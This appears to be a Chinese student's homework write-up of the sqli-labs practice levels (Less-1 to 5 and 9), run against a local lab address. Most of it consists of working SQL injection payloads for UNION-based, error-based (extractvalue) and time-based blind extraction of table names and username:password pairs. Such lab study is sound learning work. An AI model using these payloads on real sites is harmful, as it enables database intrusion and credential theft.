当前位置: 首页 > news >正文

sqli作业

sqli作业


Less-1:单引号闭合

闭合方式'

加个单引号看报错:

http://192.168.40.129/sqli/Less-1/?id=1'

报错里'1'' LIMIT 0,1说明源码是WHERE id='$id',用'闭合就行。

ORDER BY 试列数

?id=1' order by 4--+ # 报 Unknown column '4',列数=3

UNION 找回显位

?id=-1' union select 1,2,3--+

2 和 3 回显在 name 和 Password。

然后直接梭哈

爆库:?id=-1' union select 1,database(),3--+ 爆表:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+


Less-2:整型

闭合方式:无(整型不需要闭合)

id=2-1返回第一个用户数据,说明是数字型:

爆库:?id=-1 union select 1,database(),3--+ 爆表:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+


Less-3:单引号+括号

闭合方式')

?id=1'

源码是WHERE id=('$id')

爆库:?id=-1') union select 1,database(),3--+ 爆表:?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4:双引号+括号

闭合方式")

?id=1"

源码是WHERE id=("$id")

爆库:?id=-1") union select 1,database(),3--+ 爆表:?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆列:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+ 爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5:报错注入(extractvalue)

闭合方式'

页面只显示You are in...,不显示数据,但会报 MySQL 错误。用 union 查出来也看不到,改用报错注入。

?id=1' → 正常 ?id=1'--+ → 正常(闭合确认)

extractvalue 一把梭

爆库:?id=1' and extractvalue(1,concat(0x7e,database()))--+
爆表:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+ 爆列:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())))--+

extractvalue 一次最多回显 32 字符,数据多的话用 substring 分段:

第1段:?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),1,30)))--+ 第2段:?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),30,30)))--+ ...以此类推


Less-9:时间盲注

闭合方式'

这个更狠,连报错都没有,永远只显示You are in...

只能靠 sleep 判断:

?id=1' and sleep(3)--+ → 页面卡3秒 → 有注入,闭合为 '

确定闭合后上脚本爆破。

http://www.jsqmd.com/news/1252701/

相关文章:

  • Google三款Flash模型实战指南:从环境配置到生产部署
  • 2026年7月最新天梭扬州江都吾悦广场维修保养服务电话 - 天梭服务中心
  • 2026年7月宁波江诗丹顿回收哪家好?客服实测排行,避坑指南+平台对比! - 嘉价奢侈品回收平台
  • 基于YOLOv8-seg的衣物识别系统优化与实践
  • 百达翡丽绍兴客户服务热线2026年7月最新网点地址公示 - 百达翡丽官方售后中心
  • C++ Seqlock实现:无锁读写同步的高性能并发编程
  • 86.2TB高清卫星影像更新北美洲区域(WGS84坐标投影)
  • 导数与偏导数在AI中的应用与工程实践
  • AR图像识别与空间定位核心技术解析
  • 华为CANN训练优化库:提升AI模型训练效率的关键技术
  • 宝珀手表电池更换及售后保养维修指南权威公示(2026年7月最新) - 宝珀官方售后服务中心
  • 2026 年新消息:道真仡佬族苗族自治正规的Q355NE钢板订制厂家深度解析与优选指南,揭秘:这个钢板如何颠覆你的材料成本计算? - 行业推荐官[官方】--
  • Java密钥库迁移指南:从JKS到PKCS12的完整转换与私钥导出
  • 2026 年更新:宿豫热门的汽油许可证公司哪家靠谱,想开油站?这份许可证的隐藏门槛你必须知道! - 行业严选官
  • 新手想做抖店怎么做?2026年抖店入驻流程及费用!
  • 天津宝珀回收价格查询与靠谱回收平台实测排行(2026年7月最新) - 收的高名表回收平台
  • 江诗丹顿售后服务中心电话和完整地址实地考察报告+多信源验证(2026年7月更新) - 江诗丹顿服务中心
  • 基于TAS3308EVM-LC的数字音频处理器开发实战与PurePath Studio应用指南
  • OpenClaw心跳机制:AI自主调度与时间感知核心技术解析
  • RoPE位置编码:原理、实现与Transformer应用
  • C++信号量深度解析:从原理到工业级实现与性能优化
  • 百达翡丽中国售后服务中心|全新电话和详细网点地址权威信息通告(2026年7月最新) - 百达翡丽服务中心
  • 2026年最新线上教育平台哪个好?行业越卷,越要选对工具!
  • 江诗丹顿中国售后服务中心|电话和维修地址权威信息通知(2026年7月更新) - 江诗丹顿服务中心
  • C++实现高性能宠物用品智能推荐系统:架构、算法与工程实践
  • 百达翡丽回收商家2026年7月最新平台实测对比!长沙哪家靠谱?客服服务怎么样? - 尊奢回收二奢平台
  • 2027年上海紧固件工业展口碑推荐,价格透明零套路,实力测评避坑指南 - 工业推荐榜
  • BQ4050 AFE保护配置实战:阈值与延迟的硬件安全防线设计
  • AI论文降重工具评测与学术写作优化指南
  • Unity UI事件系统深度解析:EventSystem核心机制与常见问题排查指南